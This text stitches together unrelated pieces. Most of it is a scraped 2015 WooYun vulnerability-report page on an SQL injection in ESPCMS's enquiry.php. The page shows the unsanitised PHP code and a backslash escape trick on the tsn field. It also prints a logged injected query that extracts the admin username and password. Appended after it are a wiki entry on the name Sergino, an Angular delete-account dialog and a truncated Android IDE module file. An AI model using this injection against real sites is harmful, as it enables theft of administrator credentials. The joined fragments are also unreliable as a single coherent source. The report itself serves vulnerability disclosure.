:"\u53d6\u6d88\u5173\u6ce8","ATTENTION_BUG_DONE":"\u5df2\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_BUG_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u6f0f\u6d1e\u7684\u5173\u6ce8","ATTENTION_BUG":"\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_BUG_UNDO":"\u6ca1\u6709\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_HAT_DONE":"\u5df2\u5173\u6ce8\u6b64\u767d\u5e3d\u5b50","ATTENTION_HAT_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u767d\u5e3d\u5b50\u7684\u5173\u6ce8?","COLLECTION":"\u6536\u85cf","COLLECTION_DONE":"\u5df2\u6536\u85cf","COLLECTION_BUG_DONE":"\u5df2\u6536\u85cf\u6b64\u6f0f\u6d1e","COLLECTION_BUG_UNDO":"\u6ca1\u6709\u6536\u85cf\u6b64\u6f0f\u6d1e","COLLECTION_BUG_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u6f0f\u6d1e\u7684\u6536\u85cf","SMS_SEND_NAME":"* \u7528\u6237\u6635\u79f0\/\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_TITLE":"* \u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CONTENT":"* \u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CAPTCHA":"* \u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a<br \/>","NUMBER":"\u7684\u6b63\u6574\u6570","RATING_SUCCESS":"\u8bc4\u5206\u6210\u529f","RATING_BUGS_DONE":"\u5df2\u5bf9\u6b64\u6f0f\u6d1e\u8fdb\u884c\u8fc7\u8bc4\u5206","RATING_BUGS_SELF":"\u4e0d\u80fd\u5bf9\u81ea\u5df1\u53d1\u5e03\u7684\u6f0f\u6d1e\u8fdb\u884c\u8bc4\u5206","RATING_SUBMIT_CANCLE":"\u53d6\u6d88\u63d0\u4ea4\u8bc4\u5206","RATING_SUBMIT":"\u63d0\u4ea4\u6211\u7684\u8bc4\u5206","RATING_SUBMIT_CHECK":"\u8bf7\u786e\u5b9a\u6bcf\u4e00\u9879\u90fd\u9009\u62e9\u4e86\u8bc4\u5206","RATING_CONFIRM":"\u786e\u5b9a\u63d0\u4ea4\u5bf9\u6b64\u5382\u5546\u7684\u8bc4\u5206\u5417\uff1f","RATING_LOGIN":"\u53ea\u6709\u767b\u5f55\u7684\u767d\u5e3d\u5b50\u624d\u80fd\u8bc4\u5206","RATING_DONE":"\u5df2\u7ecf\u8bc4\u8fc7\u5206\u4e86","WOOYUN_CORPS":"\u4e4c\u4e91\u5382\u5546","MARST_IMAGE":"\u5bf9\u56fe\u7247\u6253\u7801","FEEDBACK_LINK_NULL":"\u94fe\u63a5\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_LINK_ERROR":"\u8bf7\u4e66\u5199\u6b63\u786e\u7684\u94fe\u63a5\u5730\u5740\uff01","FEEDBACK_CONTENT_NULL":"\u95ee\u9898\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_ALLOW_LIMIT":"\u534a\u5c0f\u65f6\u53ea\u5141\u8bb8\u53cd\u9988\u4e00\u6b21","TOP_RANK":"\u6392\u540d","TOP_BUG_TITLE":"\u6f0f\u6d1e\u6807\u9898","TOP_RANK_NONE":"\u6682\u65e0\u6392\u540d","TOP_BUGS_GOOD":"\u4f18\u8d28\u6f0f\u6d1e\u6570","NICKNAME":"\u6635\u79f0","LEVEL":"\u7b49\u7ea7","VALUE":"\u503c","EDITOR_INSERT_PIC":"\u63d2\u5165\u56fe\u7247","EDITOR_PIC_ADDR":"\u5730\u5740\uff1a","EDITOR_CONFIRM":"\u786e\u5b9a","EDITOR_PIC_NULL":"\u8bf7\u4e0a\u4f20\u56fe\u7247\u6216\u586b\u5199\u56fe\u7247\u5730\u5740","EDITOR_INSERT_VIDIO":"\u63d2\u5165\u89c6\u9891","EDITOR_VIDIO_ADDR":"\u89c6\u9891\u5730\u5740\uff1a","EDITOR_VIDIO_NULL":"\u8bf7\u586b\u5199\u89c6\u9891\u5730\u5740(.swf)","EDITOR_VIDIO_TYPE":"\u76ee\u524d\u4ec5\u652f\u6301.swf\u683c\u5f0f","PIC_SELECT":"\u8bf7\u9009\u62e9\u5f85\u4e0a\u4f20\u7684\u56fe\u7247","PIC_TYPE_IS":"\u56fe\u7247\u7c7b\u578b\u4e3a","UPLOAD":"\u4e0a\u4f20","RANK_AVG":"\u6f0f\u6d1e\u5e73\u5747"}; $(function(){ function getParamsOfShareWindow(width, height) { return ['toolbar=0,status=0,resizable=1,width=' + width + ',height=' + height + ',left=',(screen.width-width)/2,',top=',(screen.height-height)/2].join(''); } }); function errimg(img){ tmp=img.src; nimg=tmp.replace("path_to_url","path_to_url"); img.src=nimg; $(img).parent().attr('href',nimg); img.onerror=null; } function AttendBug(id){ $.get('/ajaxdo.php',{module:'attendbug',id:id,rid:Math.random(),token:$("#token").val()},function(re){ if(re==1){ $("#attention_num").html(parseInt($("#attention_num").html())+1); $("#attend_action").html(''+_LANGJS.ATTENTION_DONE+' <a class="btn" href="javascript:void(0)" onclick="AttendCancel('+id+')">'+_LANGJS.ATTENTION_CANCEL+'</a></span>'); }else if(re==2){ alert(_LANGJS.LOGIN_FIRST); }else if(re==3){ alert(_LANGJS.ATTENTION_BUG_DONE); }else{ alert(_LANGJS.FAIL_MANAGE); } }); } function AttendCancel(id){ if(confirm(_LANGJS.ATTENTION_BUG_CONFIRM+"?")){ $.get('/ajaxdo.php',{module:'attendcancel',id:id,rid:Math.random(),token:$("#token").val()},function(re){ if(re==1){ $("#attention_num").html(parseInt($("#attention_num").html())-1); $("#attend_action").html('<a class="btn" href="javascript:void(0)" onclick="AttendBug('+id+')">'+_LANGJS.ATTENTION_BUG+'</a></span>'); }else{ alert(_LANGJS.FAIL_MANAGE); } }); } } function CollectBug(id,token){ $.get('/ajaxdo.php',{'module':'collect','id':id,'token':token,'rid':Math.random()},function(re){ if(re==1){ $("#collection_num").html(parseInt($("#collection_num").html())+1); $(".btn-fav").removeClass("fav-add"); $(".btn-fav").addClass("fav-cancel"); $(".btn-fav").unbind(); $(".btn-fav").click(function(){ CollectCancel(id,token); }); }else if(re==2){ alert(_LANGJS.LOGIN_FIRST); }else if(re==3){ alert(_LANGJS.COLLECTION_BUG_DONE); }else{ alert(_LANGJS.FAIL_MANAGE); } }); } function CollectCancel(id,token){ if(confirm(_LANGJS.COLLECTION_BUG_CONFIRM+"?")){ $.get('/ajaxdo.php',{'module':'collectcancel','id':id,'token':token,'rid':Math.random()},function(re){ if(re==1){ $("#collection_num").html(parseInt($("#collection_num").html())-1); $(".btn-fav").removeClass("fav-cancel"); $(".btn-fav").addClass("fav-add"); $(".btn-fav").unbind(); $(".btn-fav").click(function(){ CollectBug(id,token); }); }else{ alert(_LANGJS.FAIL_MANAGE); } }); } } </script> <div class="content"> <input type="hidden" id="token" style="display:none" value="" /> <h2> <span style="margin:0 0 0 580px; float:right; position:absolute; font-size:14px; font-weight:normal">(<span id="attention_num">43</span>) <span id="attend_action"> <a class="btn" href="javascript:void(0)" onclick="AttendBug(118799)"></a></span> </span></h2> <h3> <a href="wooyun-2015-0118799">WooYun-2015-118799</a> <input id="fbid" type="hidden" value="118799"> </h3> <h3 class='wybug_title'> espcmssql <img src="path_to_url" alt="" class="credit"> </h3> <h3 class='wybug_corp'> <a href="path_to_urlESPCMS"> ESPCMS </a> </h3> <h3 class='wybug_author'> <a href="path_to_url">Xser</a></h3> <h3 class='wybug_date'> 2015-06-08 11:45</h3> <h3 class='wybug_open_date'> 2015-09-06 12:28</h3> <h3 class='wybug_type'> SQL</h3> <h3 class='wybug_level'> </h3> <h3>Rank 20</h3> <h3 class='wybug_status'> </h3> <h3> <a href="path_to_url">path_to_url help@wooyun.org</h3> <h3>Tags </h3> <h3> <!-- Baidu Button BEGIN --> <div id="share"> <div style="float:right; margin-right:100px;font-size:12px"> <span class="fav-num"><a id="collection_num">12</a></span> <a style="text-decoration:none; font-size:12px" href="javascript:void(0)" class="fav-add btn-fav"></a> <script type="text/javascript"> var token=""; var id="118799"; $(".btn-fav").click(function(){ CollectBug(id,token); }); </script> </div> <span style="float:left;"></span> <div id="bdshare" class="bdshare_b" style="line-height: 12px;"><img src="path_to_url" /> <a class="shareCount"></a> </div> </div> <!-- Baidu Button END --> </h3> <hr align="center"/> <h2></h2> <h3 class="detailTitle"></h3> <p class="detail" style="padding-bottom:0"> </p> <p class="detail wybug_open_status"> 2015-06-08 <br/> 2015-06-08 <br/> 2015-06-11 <a href="path_to_url" target="_blank"></a><a href="path_to_url" target="_blank"></a><a href="path_to_url" target="_blank"></a><br/> 2015-08-02 <br/> 2015-08-12 <br/> 2015-08-22 <br/> 2015-09-06 <br/> </p> <h3 class="detailTitle"></h3> <p class="detail wybug_description">V6.4.15.05.20 UTF8 <br /> 2015-05-21 00:05:12 7.67MB</p> <h3 class="detailTitle"></h3> <div class='wybug_detail'> <p class="detail">enquiry.php<br /> <br /> <br /> <br /> </p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>$ptitle = $this-&gt;fun-&gt;accept(&#039;ptitle&#039;, &#039;P&#039;);<br /> $tsn = $this-&gt;fun-&gt;accept(&#039;tsn&#039;, &#039;P&#039;);<br /> $did = $this-&gt;fun-&gt;accept(&#039;did&#039;, &#039;P&#039;);<br /> if (empty($did) || empty($amount) || empty($ptitle)) {<br /> $enquirylink = $this-&gt;get_link(&#039;enquiry&#039;, array(), admin_LNG);<br /> $this-&gt;callmessage($this-&gt;lng[&#039;enquiry_input_err&#039;], $enquirylink, $this-&gt;lng[&#039;enquiry_into_listbotton&#039;]);<br /> }<br /> if (!preg_match(&quot;/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i&quot;, $email)) {<br /> $this-&gt;callmessage($this-&gt;lng[&#039;email_err&#039;], $_SERVER[&#039;HTTP_REFERER&#039;], $this-&gt;lng[&#039;gobackbotton&#039;]);<br /> }<br /> $enquirysn = date(&#039;YmdHis&#039;) . rand(100, 9999);<br /> $db_table = db_prefix . &#039;enquiry&#039;;<br /> $db_table2 = db_prefix . &#039;enquiry_info&#039;;<br /> $addtime = time();<br /> $db_field = &#039;enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime&#039;;<br /> $db_values = &quot;&#039;$enquirysn&#039;,$userid,&#039;$linkman&#039;,$sex,$country,$province,$city,$district,&#039;$address&#039;,&#039;$zipcode&#039;,&#039;$tel&#039;,&#039;$fax&#039;,&#039;$mobile&#039;,&#039;$email&#039;,&#039;$content&#039;,0,$addtime,0&quot;;<br /> $this-&gt;db-&gt;query(&#039;INSERT INTO &#039; . $db_table . &#039; (&#039; . $db_field . &#039;) VALUES (&#039; . $db_values . &#039;)&#039;);<br /> $insert_id = $this-&gt;db-&gt;insert_id();<br /> $db_values = &#039;&#039;;<br /> $arraycount = count($did) - 1;<br /> foreach ($did as $key =&gt; $value) {<br /> $value = intval($value);<br /> $amount[$key] = intval($amount[$key]);<br /> <br /> if ($key == $arraycount) {<br /> $db_values.= &quot;($insert_id,$value,&#039;$tsn[$key]&#039;,&#039;$ptitle[$key]&#039;,$amount[$key],&#039;&#039;)&quot;;<br /> } else {<br /> $db_values.= &quot;($insert_id,$value,&#039;$tsn[$key]&#039;,&#039;$ptitle[$key]&#039;,$amount[$key],&#039;&#039;),&quot;;<br /> }<br /> }</code></pre></fieldset><p class='detail'><br /> <br /> <br /> <br /> $tsn<br /> <br /> <br /> <br /> $temp = &quot;wooyun&quot;<br /> <br /> <br /> <br /> $temp[0]w<br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> playload<br /> <br /> <br /> <br /> <br /> <br /> $tsn=\<br /> <br /> <br /> <br /> <br /> <br /> sql</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>2015/6/7 15:01 INSERT INTO espcms_enquiry_info (eid,did,tsn,title,amount,comment) VALUES (31,33,&#039;\&#039;,&#039;,(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#&#039;,1,&#039;&#039;)</code></pre></fieldset><p class='detail'><br /> <br /> <br /> <br /> </p><p class="detail usemasaic"><a href="../upload/201506/0715080655dce1e87c4773ed4525e31ab7291b9f.jpg" target="_blank"><img src="../upload/201506/0715080655dce1e87c4773ed4525e31ab7291b9f.jpg" alt="36020150607150751138.jpg" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br /> <br /> <br /> <br /> </p> </div> <h3 class="detailTitle"></h3> <div class='wybug_poc'> <p class="detail">enquiry.php<br /> <br /> <br /> <br /> </p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>$ptitle = $this-&gt;fun-&gt;accept(&#039;ptitle&#039;, &#039;P&#039;);<br /> $tsn = $this-&gt;fun-&gt;accept(&#039;tsn&#039;, &#039;P&#039;);<br /> $did = $this-&gt;fun-&gt;accept(&#039;did&#039;, &#039;P&#039;);<br /> if (empty($did) || empty($amount) || empty($ptitle)) {<br /> $enquirylink = $this-&gt;get_link(&#039;enquiry&#039;, array(), admin_LNG);<br /> $this-&gt;callmessage($this-&gt;lng[&#039;enquiry_input_err&#039;], $enquirylink, $this-&gt;lng[&#039;enquiry_into_listbotton&#039;]);<br /> }<br /> if (!preg_match(&quot;/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i&quot;, $email)) {<br /> $this-&gt;callmessage($this-&gt;lng[&#039;email_err&#039;], $_SERVER[&#039;HTTP_REFERER&#039;], $this-&gt;lng[&#039;gobackbotton&#039;]);<br /> }<br /> $enquirysn = date(&#039;YmdHis&#039;) . rand(100, 9999);<br /> $db_table = db_prefix . &#039;enquiry&#039;;<br /> $db_table2 = db_prefix . &#039;enquiry_info&#039;;<br /> $addtime = time();<br /> $db_field = &#039;enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime&#039;;<br /> $db_values = &quot;&#039;$enquirysn&#039;,$userid,&#039;$linkman&#039;,$sex,$country,$province,$city,$district,&#039;$address&#039;,&#039;$zipcode&#039;,&#039;$tel&#039;,&#039;$fax&#039;,&#039;$mobile&#039;,&#039;$email&#039;,&#039;$content&#039;,0,$addtime,0&quot;;<br /> $this-&gt;db-&gt;query(&#039;INSERT INTO &#039; . $db_table . &#039; (&#039; . $db_field . &#039;) VALUES (&#039; . $db_values . &#039;)&#039;);<br /> $insert_id = $this-&gt;db-&gt;insert_id();<br /> $db_values = &#039;&#039;;<br /> $arraycount = count($did) - 1;<br /> foreach ($did as $key =&gt; $value) {<br /> $value = intval($value);<br /> $amount[$key] = intval($amount[$key]);<br /> <br /> if ($key == $arraycount) {<br /> $db_values.= &quot;($insert_id,$value,&#039;$tsn[$key]&#039;,&#039;$ptitle[$key]&#039;,$amount[$key],&#039;&#039;)&quot;;<br /> } else {<br /> $db_values.= &quot;($insert_id,$value,&#039;$tsn[$key]&#039;,&#039;$ptitle[$key]&#039;,$amount[$key],&#039;&#039;),&quot;;<br /> }<br /> }</code></pre></fieldset><p class='detail'><br /> <br /> <br /> <br /> $tsn<br /> <br /> <br /> <br /> $temp = &quot;wooyun&quot;<br /> <br /> <br /> <br /> $temp[0]w<br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> playload<br /> <br /> <br /> <br /> <br /> <br /> $tsn=\<br /> <br /> <br /> <br /> <br /> <br /> sql</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>2015/6/7 15:01 INSERT INTO espcms_enquiry_info (eid,did,tsn,title,amount,comment) VALUES (31,33,&#039;\&#039;,&#039;,(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#&#039;,1,&#039;&#039;)</code></pre></fieldset><p class='detail'><br /> <br /> <br /> <br /> </p><p class="detail usemasaic"><a href="../upload/201506/0715080655dce1e87c4773ed4525e31ab7291b9f.jpg" target="_blank"><img src="../upload/201506/0715080655dce1e87c4773ed4525e31ab7291b9f.jpg" alt="36020150607150751138.jpg" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br /> <br /> </p> </div> <h3 class="detailTitle"></h3> <div class='wybug_patch'> <p class="detail"> </p> </div> <h3 class="detailTitle"> <a style="font-weight:normal" href="path_to_url" title="Xser">Xser</a>@<a style="font-weight:normal" href="path_to_url" title="espcmssql"></a></h3> <hr align="center"/> <h2 id="bugreply"></h2> <div class='bug_result'> <h3 class="detailTitle"></h3> <p class="detail"></p> <p class="detail">Rank7 </p> <p class="detail">2015-06-08 12:26</p> <h3 class="detailTitle"></h3> <p class="detail"></p> <h3 class="detailTitle"></h3> <p class="detail"></p> </div> <hr align="center" /> <script type="text/javascript"> var bugid="118799"; var bugRating="-3"; var myRating=""; var ratingCount="0"; function ShowBugRating(k){ var ratingItems=$(".myrating span"); $.each(ratingItems,function(i,n){ var nk=parseInt($(n).attr("rel")); if(nk<=k){ $(n).addClass("on"); }else{ $(n).removeClass("on"); } }); $(".myrating span").hover( function(){ $("#ratingShow").html($(this).attr("data-title")); }, function(){ $("#ratingShow").html(""); } ); } $(document).ready(function(){ if(myRating==""){ var ratingItems=$(".myrating span"); $(".myrating span").hover( function(){ $(this).addClass("hover"); var k=parseInt($(this).attr("rel")); $.each(ratingItems,function(i,n){ var nk=parseInt($(n).attr("rel")); if(nk<k) $(n).addClass("on"); if(nk>k) $(n).removeClass("on"); }); $("#ratingShow").html($(this).attr("data-title")); }, function(){ $(this).removeClass("hover"); if($("#myRating").val()==""){ $.each(ratingItems,function(i,n){ $(n).removeClass("on"); }); } $("#ratingShow").html(""); } ); $(".myrating span").click(function(){ var rating=$(this).attr("rel"); var k=parseInt($(this).attr("rel")); $.post("/ajaxdo.php?module=bugrating",{"id":bugid,"rating":rating,"token":$("#token").val()},function(re){ // $(".myrating span").unbind(); re=parseInt(re); switch(re){ case 1: $("#ratingShow").html(_LANGJS.RATING_SUCCESS); $("#ratingSpan").html(parseInt($("#ratingSpan").html())+1); $.each(ratingItems,function(i,n){ var nk=parseInt($(n).attr("rel")); if(nk<=k){ $(n).addClass("on"); }else{ $(n).removeClass("on"); } }); ShowBugRating(rating); break; case 2: $("#ratingShow").html(_LANGJS.LOGIN_FIRST); break; case 4: $("#ratingShow").html(_LANGJS.RATING_BUGS_DONE); break; case 6: $("#ratingShow").html(_LANGJS.RATING_BUGS_SELF); break; default:break; } }); }); }else{ if(ratingCount>2){ ShowBugRating(bugRating); }else{ ShowBugRating(-3); } } }); </script> <h3 class="detailTitle"></h3> <p class="detail"></p> <h5 class="rating"> <div class="ratingText"><span>(<span id="ratingSpan">0</span>)</span>:</div> <div class="myrating"> <span rel="-2" data-title=""></span> <span rel="-1" data-title=""></span> <span rel="0" data-title=""></span> <span rel="1" data-title=""></span> <span rel="2" data-title=""></span> <div id="ratingShow"> </div> </div> </h5> <input type="hidden" id="myRating" value="" /> <hr align="center" /> <h2></h2> <div id="replys" class="replys"> <ol class="replylist"> <li class="reply clearfix"> <div class="reply-content"> <div class="reply-info"> <span class="addtime">2015-06-08 13:05</span> | <a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin --> ( | <!-- @zm 2013-12-13 End --> Rank:12 :8 ) <div class="likebox"> <span class="likepre" title="" rel="149122"></span> <span class="liketext liketext_min"><span id="likenum_149122">0</span></span> <span class="likesuf"></span> </div> </div><!-- reply-info End --> <div class="description"> <p> </p> </div> <div class="replylist-act"> <span class="floor">1#</span> <a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a> </div> </div><!-- reply-content End --> </li> </ol><!-- replylist End --> </div><!-- replys End --> <div id="reply" class="reply"> <a name="comment"></a> <p class="detail"> <a href="path_to_url"><u></u></a> </p> <script type="text/javascript"> var masaic = '0'; function CommentLike(id){ $.post("/ajaxdo.php?module=commentrating",{"id":id,"token":$("#token").val()},function(re){ re=parseInt(re); switch(re){ case 1: $("#likenum_"+id).html(parseInt($("#likenum_"+id).html())+1); break; case 4: alert(_LANGJS.COMMENT_GOOD_DONE); break; case 6: alert(_LANGJS.COMMENT_SELF); break; default:break; } }); } $(document).ready(function(){ $(".likebox .likepre").click(function(){ CommentLike($(this).attr("rel")); }); }); </script> <div> </div> <div id="footer"> <span class="copyright fleft"> <a href="path_to_url">ICP15041338-1</a> <!--a href="path_to_url" target="_blank"><img src="/images/sae_bottom_logo.png" title="Powered by Sina App Engine"></a--> </span> <span class="other fright"> <a href="path_to_url"></a> <a href="path_to_url"></a> <a href="path_to_url"></a> <a href="path_to_url"></a> <a href="path_to_url"></a> </span> </div> <script type="text/javascript"> var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://"); document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3Fc12f88b5c1cd041a732dea597a5ec94c' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript" id="bdshare_js" data="type=button" ></script> <script type="text/javascript" id="bdshell_js"></script> <script type="text/javascript"> document.getElementById("bdshell_js").src = "path_to_url" + new Date().getHours(); if (top.location !== self.location) top.location=self.location; </script> </body> </html> ```
Sergino is a given name. Notable people with the name include: Sergiño Dest (born 2000), Dutch-American soccer player Sergino Eduard (born 1994), Surinamese footballer See also Sergio (given name) Masculine given names
```html <form [bitSubmit]="submit" [formGroup]="deleteForm"> <bit-dialog> <div bitDialogTitle>{{ "deleteAccount" | i18n }}</div> <div bitDialogContent> <p>{{ "deleteAccountDesc" | i18n }}</p> <bit-callout type="warning" title="{{ 'warning' | i18n }}"> {{ "deleteAccountWarning" | i18n }} </bit-callout> <!-- Temporary border styles. TODO: Remove when app-user-verification is migrated to the CL. --> <div class="tw-mb-2 tw-rounded tw-border tw-border-solid tw-border-info-600/25"> <app-user-verification ngDefaultControl formControlName="verification" name="verification" ></app-user-verification> </div> <div id="confirmIdentityHelp"> <p>{{ "confirmIdentity" | i18n }}</p> </div> </div> <div bitDialogFooter> <button bitButton bitFormButton type="submit" buttonType="danger" [disabled]="!secret"> {{ "deleteAccount" | i18n }} </button> <button bitButton type="button" buttonType="secondary" bitFormButton bitDialogClose> {{ "cancel" | i18n }} </button> </div> </bit-dialog> </form> ```
```xml <?xml version="1.0" encoding="UTF-8"?> <module external.linked.project.id=":app" external.linked.project.path="$MODULE_DIR$" external.root.project.path="$MODULE_DIR$/.." external.system.id="GRADLE" external.system.module.group="NineGridView" external.system.module.version="unspecified" type="JAVA_MODULE" version="4"> <component name="FacetManager"> <facet type="android-gradle" name="Android-Gradle"> <configuration> <option name="GRADLE_PROJECT_PATH" value=":app" /> </configuration> </facet> <facet type="android" name="Android"> <configuration> <option name="SELECTED_BUILD_VARIANT" value="debug" /> <option name="SELECTED_TEST_ARTIFACT" value="_android_test_" /> <option name="ASSEMBLE_TASK_NAME" value="assembleDebug" /> <option name="COMPILE_JAVA_TASK_NAME" value="compileDebugSources" /> <afterSyncTasks> <task>generateDebugSources</task> </afterSyncTasks> <option name="ALLOW_USER_CONFIGURATION" value="false" /> <option name="MANIFEST_FILE_RELATIVE_PATH" value="/src/main/AndroidManifest.xml" /> <option name="RES_FOLDER_RELATIVE_PATH" value="/src/main/res" /> <option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res" /> <option name="ASSETS_FOLDER_RELATIVE_PATH" value="/src/main/assets" /> </configuration> </facet> </component> <component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_7" inherit-compiler-output="false"> <output url="file://$MODULE_DIR$/build/intermediates/classes/debug" /> <output-test url="file://$MODULE_DIR$/build/intermediates/classes/test/debug" /> <exclude-output /> <content url="file://$MODULE_DIR$"> <sourceFolder url="file://$MODULE_DIR$/build/generated/source/r/debug" isTestSource="false" generated="true" /> <sourceFolder url="file://$MODULE_DIR$/build/generated/source/aidl/debug" isTestSource="false" generated="true" /> <sourceFolder url="file://$MODULE_DIR$/build/generated/source/buildConfig/debug" isTestSource="false" generated="true" /> <sourceFolder url="file://$MODULE_DIR$/build/generated/source/rs/debug" isTestSource="false" generated="true" /> <sourceFolder url="file://$MODULE_DIR$/build/generated/source/apt/debug" isTestSource="false" generated="true" /> <sourceFolder url="file://$MODULE_DIR$/build/generated/res/rs/debug" type="java-resource" /> <sourceFolder url="file://$MODULE_DIR$/build/generated/res/resValues/debug" type="java-resource" /> <sourceFolder url="file://$MODULE_DIR$/build/generated/source/r/androidTest/debug" isTestSource="true" generated="true" /> <sourceFolder url="file://$MODULE_DIR$/build/generated/source/aidl/androidTest/debug" isTestSource="true" generated="true" /> <sourceFolder url="file://$MODULE_DIR$/build/generated/source/buildConfig/androidTest/debug" isTestSource="true" generated="true" /> <sourceFolder url="file://$MODULE_DIR$/build/generated/source/rs/androidTest/debug" isTestSource="true" generated="true" /> <sourceFolder url="file://$MODULE_DIR$/build/generated/source/apt/androidTest/debug" isTestSource="true" generated="true" /> <sourceFolder url="file://$MODULE_DIR$/build/generated/res/rs/androidTest/debug" type="java-test-resource" /> <sourceFolder url="file://$MODULE_DIR$/build/generated/res/resValues/androidTest/debug" type="java-test-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/debug/res" type="java-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/debug/resources" type="java-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/debug/assets" type="java-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/debug/aidl" isTestSource="false" /> <sourceFolder url="file://$MODULE_DIR$/src/debug/java" isTestSource="false" /> <sourceFolder url="file://$MODULE_DIR$/src/debug/jni" isTestSource="false" /> <sourceFolder url="file://$MODULE_DIR$/src/debug/rs" isTestSource="false" /> <sourceFolder url="file://$MODULE_DIR$/src/debug/shaders" isTestSource="false" /> <sourceFolder url="file://$MODULE_DIR$/src/testDebug/res" type="java-test-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/testDebug/resources" type="java-test-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/testDebug/assets" type="java-test-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/testDebug/aidl" isTestSource="true" /> <sourceFolder url="file://$MODULE_DIR$/src/testDebug/java" isTestSource="true" /> <sourceFolder url="file://$MODULE_DIR$/src/testDebug/jni" isTestSource="true" /> <sourceFolder url="file://$MODULE_DIR$/src/testDebug/rs" isTestSource="true" /> <sourceFolder url="file://$MODULE_DIR$/src/testDebug/shaders" isTestSource="true" /> <sourceFolder url="file://$MODULE_DIR$/src/main/res" type="java-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/main/resources" type="java-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/main/assets" type="java-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/main/aidl" isTestSource="false" /> <sourceFolder url="file://$MODULE_DIR$/src/main/java" isTestSource="false" /> <sourceFolder url="file://$MODULE_DIR$/src/main/jni" isTestSource="false" /> <sourceFolder url="file://$MODULE_DIR$/src/main/rs" isTestSource="false" /> <sourceFolder url="file://$MODULE_DIR$/src/main/shaders" isTestSource="false" /> <sourceFolder url="file://$MODULE_DIR$/src/test/res" type="java-test-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/test/resources" type="java-test-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/test/assets" type="java-test-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/test/aidl" isTestSource="true" /> <sourceFolder url="file://$MODULE_DIR$/src/test/java" isTestSource="true" /> <sourceFolder url="file://$MODULE_DIR$/src/test/jni" isTestSource="true" /> <sourceFolder url="file://$MODULE_DIR$/src/test/rs" isTestSource="true" /> <sourceFolder url="file://$MODULE_DIR$/src/test/shaders" isTestSource="true" /> <sourceFolder url="file://$MODULE_DIR$/src/androidTest/res" type="java-test-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/androidTest/resources" type="java-test-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/androidTest/assets" type="java-test-resource" /> <sourceFolder url="file://$MODULE_DIR$/src/androidTest/aidl" isTestSource="true" /> <sourceFolder url="file://$MODULE_DIR$/src/androidTest/java" isTestSource="true" /> <sourceFolder url="file://$MODULE_DIR$/src/androidTest/jni" isTestSource="true" /> <sourceFolder url="file://$MODULE_DIR$/src/androidTest/rs" isTestSource="true" /> <sourceFolder url="file://$MODULE_DIR$/src/androidTest/shaders" isTestSource="true" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/assets" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/blame" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/classes" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/dependency-cache" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.android.support/animated-vector-drawable/24.2.1/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.android.support/appcompat-v7/24.2.1/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.android.support/recyclerview-v7/24.2.1/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.android.support/support-compat/24.2.1/jars" /> <excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.android.support/support-core-ui/24.2.1/jars" /> <excludeFolder 